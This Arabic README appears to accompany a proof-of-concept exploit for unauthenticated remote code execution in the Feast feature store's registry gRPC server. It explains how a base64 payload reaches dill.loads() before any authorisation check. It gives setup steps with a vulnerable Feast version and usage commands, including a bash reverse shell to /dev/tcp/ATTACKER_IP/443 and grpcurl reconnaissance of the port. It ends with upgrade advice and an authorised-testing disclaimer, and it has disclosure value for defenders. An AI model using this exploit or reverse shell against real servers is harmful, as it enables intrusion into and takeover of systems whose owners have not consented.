
تنفيذ تعليمات برمجية عن بُعد بدون مصادقة في خادم registry gRPC لمتجر الميزات Feast.
تعيد RPC الخاص بـ ApplyFeatureView بناء OnDemandFeatureView من proto الخاص بالطلب.
وبذلك يتم فك ترميز spec.user_defined_function.body بنظام base64 ثم تمريره إلى
dill.loads() — قبل أي فحص ترخيص. dill هو مجموعة شاملة من
pickle، لذا فإن أي كائن يُرجع __reduce__ الخاص به (os.system, (cmd,)) ينفّذ
أمرًا عشوائيًا لحظة قيام الخادم بإلغاء تسلسله. يأتي النشر الافتراضي مع
auth: no_auth، لذا يكفي طلب gRPC واحد بدون مصادقة إلى منفذ registry.
< 0.63.00.63.06570 (registry gRPC)يعيد الاستغلال استخدام protos الخاصة بـ gRPC التي ولّدها Feast نفسه، لذا ثبّت نسخة Feast قابلة للاستغلال على جهاز المهاجم:
python3 -m venv venv && . venv/bin/activate
pip install "feast==0.62.0" grpcio
# فحص سريع (يظهر الناتج على الخادم، وليس محليًا)
python3 exploit.py 10.10.10.10:6570 -c "id"
# قشرة عكسية (غلاف bash -c: os.system يستخدم /bin/sh الذي يفتقر إلى /dev/tcp)
python3 exploit.py 10.10.10.10:6570 -c 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"'
يضبط -p/--project اسم المشروع (الافتراضي feature_repo). يُطبع ناتج الأمر على
stdout/journal الخاص بمضيف registry، لذا استخدم قشرة عكسية أو اكتب إلى مسار قابل للقراءة
لملاحظة النتائج.
يدعم خادم registry خاصية gRPC reflection:
grpcurl -plaintext 10.10.10.10:6570 list
# feast.registry.RegistryServer
# grpc.health.v1.Health
# grpc.reflection.v1alpha.ServerReflection
قم بالترقية إلى Feast 0.63.0+، وفعّل خلفية مصادقة، ولا تعرض منفذ gRPC الخاص بـ registry أبدًا لشبكات غير موثوقة.
لأغراض اختبار الأمان المصرّح به والتعليم فقط. استخدمه فقط ضد أنظمة تملكها أو لديك إذن صريح لاختبارها.